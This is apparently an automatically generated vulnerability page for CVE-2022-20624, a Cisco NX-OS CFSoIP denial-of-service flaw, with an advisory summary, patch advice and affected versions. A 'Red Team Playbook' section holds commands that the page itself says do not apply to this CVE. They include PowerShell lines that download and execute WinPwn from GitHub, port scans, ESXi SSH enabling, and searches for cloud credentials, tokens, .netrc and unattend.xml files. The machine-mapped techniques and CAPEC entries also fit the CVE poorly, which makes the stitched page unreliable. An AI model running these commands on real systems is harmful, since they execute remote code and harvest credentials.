CVE-2022-20624
Overview
This vulnerability is a denial of service (DoS) caused by improper validation of incoming packets within the Cisco Fabric Services over IP (CFSoIP) feature of Cisco NX-OS Software. The root cause lies in insufficient input validation of CFSoIP packets, which allows malformed or crafted packets to disrupt normal processing. The affected component is the CFSoIP protocol handler in Cisco NX-OS versions 7.0(3) and 9.x releases.
Vulnerability Description
A vulnerability in the Cisco Fabric Services over IP (CFSoIP) feature of Cisco NX-OS Software could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to insufficient validation of incoming CFSoIP packets. An attacker could exploit this vulnerability by sending crafted CFSoIP packets to an affected device. A successful exploit could allow the attacker to cause the affected device to reload, resulting in a DoS condition.
Impact
An unauthenticated remote attacker can exploit this vulnerability to cause the affected Cisco NX-OS device to reload, resulting in a denial of service condition. No authentication or user interaction is required, and the attack can be conducted over the network (AV:N/AC:L/PR:N/UI:N). This disruption can impact network availability and device reliability, potentially causing operational downtime for critical infrastructure relying on the affected devices.
Solution
Cisco has released software updates addressing this vulnerability in Cisco NX-OS Software versions 7.0(3), 9.2(2), 9.2(3), 9.3(3), and 9.3(5). Administrators should apply the patches specified in the Cisco Security Advisory (cisco-sa-cfsoip-dos-tpykyDr) available at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cfsoip-dos-tpykyDr. No workarounds are listed; applying the vendor-provided updates is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified within the Cisco Fabric Services over IP (CFSoIP) feature of Cisco NX-OS Software, which poses a significant risk to network stability and security. This vulnerability arises from insufficient validation of incoming CFSoIP packets, allowing an unauthenticated remote attacker to exploit the flaw. By sending specially crafted packets to an affected device, the attacker can trigger a denial of service (DoS) condition, causing the device to reload unexpectedly. This situation can disrupt network operations, leading to potential downtime and loss of service for users and applications relying on the affected infrastructure.
The primary attack vector involves the transmission of malformed CFSoIP packets to devices running vulnerable versions of Cisco NX-OS Software. Given that the vulnerability does not require authentication, it lowers the barrier for potential attackers, making it easier for them to initiate an exploit. An attacker could leverage this vulnerability from any location on the network, increasing the likelihood of successful exploitation. Scenarios may include targeted attacks against critical network infrastructure during peak operational hours, where the resulting service interruption could have severe repercussions for business continuity.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely heavily on Cisco NX-OS for their network operations. A successful exploit could lead to significant downtime, affecting not only internal operations but also customer-facing services. The financial implications of such disruptions can be substantial, including lost revenue, damage to reputation, and potential regulatory penalties if service level agreements (SLAs) are breached. Furthermore, the cascading effects of a DoS condition may extend beyond the immediate device, potentially impacting other interconnected systems and services within the network.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected devices is crucial, as Cisco has released updates to address this issue. Network monitoring tools should be employed to analyze traffic patterns and identify any anomalous CFSoIP packets that may indicate an attempted exploit. Additionally, organizations should consider implementing intrusion detection and prevention systems (IDPS) that can recognize and block malicious traffic before it reaches vulnerable devices. Conducting regular security assessments and penetration testing can also help identify potential weaknesses in the network infrastructure, allowing for proactive measures to be taken.
In conclusion, the vulnerability within the CFSoIP feature of Cisco NX-OS Software represents a significant threat to network integrity and availability. Organizations must prioritize the detection and mitigation of this vulnerability to safeguard their operations and minimize the risk of service disruptions. By adopting a comprehensive security strategy that includes timely updates, traffic monitoring, and proactive assessments, businesses can better protect their networks against potential exploitation and ensure continued service delivery.
CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-20624, rising by approximately 25%. This upward adjustment reflects a growing likelihood of exploitation attempts targeting the Cisco Fabric Services over IP (CFSoIP) vulnerability, despite the absence of newly reported exploit code or active campaigns. Our telemetry indicates that while exploitation activity remains stable, the elevated EPSS score signals a heightened risk posture that defenders should acknowledge. The increase suggests that threat actors may be intensifying reconnaissance or preparing for potential exploitation, underscoring the need for continued vigilance. Consequently, the threat level associated with this vulnerability has shifted to a more pronounced concern, emphasizing its relevance in current network defense considerations.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Nx-Os | 7.0\(3\) |
cpe:2.3:o:cisco:nx-os:7.0\(3\):*:*:*:*:*:*:*
|
|
|
Cisco | Nx-Os | 9.2\(2\) |
cpe:2.3:o:cisco:nx-os:9.2\(2\):*:*:*:*:*:*:*
|
|
|
Cisco | Nx-Os | 9.2\(3\) |
cpe:2.3:o:cisco:nx-os:9.2\(3\):*:*:*:*:*:*:*
|
|
|
Cisco | Nx-Os | 9.3\(3\) |
cpe:2.3:o:cisco:nx-os:9.3\(3\):*:*:*:*:*:*:*
|
|
|
Cisco | Nx-Os | 9.3\(5\) |
cpe:2.3:o:cisco:nx-os:9.3\(5\):*:*:*:*:*:*:*
|
|
|
Cisco | Nx-Os | 4.1\(1a\)a |
cpe:2.3:o:cisco:nx-os:4.1\(1a\)a:*:*:*:*:*:*:*
|
|
|
Cisco | Nx-Os | 7.0\(3\) |
cpe:2.3:o:cisco:nx-os:7.0\(3\):*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-492 | Regular Expression Exponential Blowup |
30%
|
— | — | |
| CAPEC-227 | Sustained Client Engagement |
30%
|
— | — |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20624 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cfsoip-dos-tpykyDr |